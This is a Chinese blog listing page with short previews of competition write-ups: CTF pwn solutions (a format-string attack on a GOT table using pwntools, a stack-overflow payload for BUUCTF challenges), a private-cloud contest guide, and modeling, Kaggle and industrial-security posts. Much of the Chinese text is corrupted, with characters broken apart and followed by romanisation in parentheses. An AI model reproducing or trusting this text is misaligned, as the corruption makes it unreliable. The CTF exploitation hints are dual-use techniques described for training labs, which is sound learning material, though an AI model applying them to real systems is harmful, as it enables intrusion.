    下載附件,checksec檢查程序保護(hù)情況: No RELRO ,說明got表可修改 接下來看主程序: 函數(shù)邏輯還是比較簡(jiǎn)單,14行出現(xiàn)格式化字符串漏洞,配合pwntools的fmtstr_payload模塊可直接攻擊,然后就是題目提供了libc,然后第10行又泄露puts函數(shù)的地址,可直接計(jì)算出基址,然后就是/bin/sh這

    2024年02月08日
    瀏覽(31)
  • 云計(jì)算私有云國(guó)賽題解析

    云計(jì)算私有云國(guó)賽題解析

    文章目錄 目錄 1.控制節(jié)點(diǎn)主機(jī)名為controller,設(shè)置計(jì)算節(jié)點(diǎn)主機(jī)名為compute; 2.hosts文件將IP地址映射為主機(jī)名 3 yum源配置 使用提供的http服務(wù)地址,分別設(shè)置controller節(jié)點(diǎn)和compute 4.配置無秘鑰ssh 配置controller節(jié)點(diǎn)可以無秘鑰訪問compute節(jié)點(diǎn) ?5.基礎(chǔ)安裝 在控制節(jié)點(diǎn)和計(jì)算節(jié)點(diǎn)上分

    2024年02月10日
    瀏覽(16)
  • BUUCTF Pwn 1-12題解析及答案

    BUUCTF Pwn 1-12題解析及答案

    人如其名,直接 nc 連接即可。 裸奔的64位ELF,使用IDA查看反匯編代碼。 s 的大小為 0x0F ,所以我們構(gòu)造的Payload是這樣的: 0x0F + 0x08 代表 s 的大小加上8字節(jié)大小的rbp。 0x40117是 fun 函數(shù)中的命令開始的地址: 完整EXP: 也是裸奔的程序。 思路同上 0x40060E NX 棧不可執(zhí)行 思路很簡(jiǎn)

    2024年02月04日
    瀏覽(22)
  • 【數(shù)學(xué)建模競(jìng)賽】?jī)?yōu)化類賽題常用算法解析

    【數(shù)學(xué)建模競(jìng)賽】?jī)?yōu)化類賽題常用算法解析

    問題理解和建模:首先,需要深入理解問題,并將問題抽象為數(shù)學(xué)模型。這包括確定問題的目標(biāo)函數(shù)、約束條件和決策變量。 模型分析和求解方法選擇:對(duì)建立的數(shù)學(xué)模型進(jìn)行分析,可以使用數(shù)學(xué)工具和方法,例如最優(yōu)化算法、梯度下降法、遺傳算法、模擬退火等。根據(jù)問題

    2024年02月09日
    瀏覽(21)
  • 2023年工業(yè)互聯(lián)網(wǎng)(網(wǎng)絡(luò)安全)賽題AI解析

    2023年工業(yè)互聯(lián)網(wǎng)(網(wǎng)絡(luò)安全)賽題AI解析

    debian中設(shè)置root賬戶口令,開啟口令復(fù)雜度檢 查,至少包含小寫字母、大寫字母、數(shù)字、特殊字符4類字符,設(shè)置最小口令長(zhǎng)度為8位,且新口令必須與舊口令有3位不同 要設(shè)置root賬戶口令并開啟口令復(fù)雜度檢查,您可以按照以下步驟進(jìn)行操作: 打開終端,以root身份登錄或者使

    2024年02月08日
    瀏覽(32)
  • kaggle新賽:Bengali.AI 語音識(shí)別大賽賽題解析

    kaggle新賽:Bengali.AI 語音識(shí)別大賽賽題解析

    賽題名稱: Bengali.AI Speech Recognition 賽題鏈接: https://www.kaggle.com/competitions/bengaliai-speech 競(jìng)賽主辦方 Bengali.AI 致力于加速孟加拉語(當(dāng)?shù)胤Q為孟加拉語)的語言技術(shù)研究。Bengali.AI 通過社區(qū)驅(qū)動(dòng)的收集活動(dòng)眾包大規(guī)模數(shù)據(jù)集,并通過研究競(jìng)賽為其數(shù)據(jù)集提供眾包解決方案。孟加

    2024年02月16日
    瀏覽(26)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請(qǐng)作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包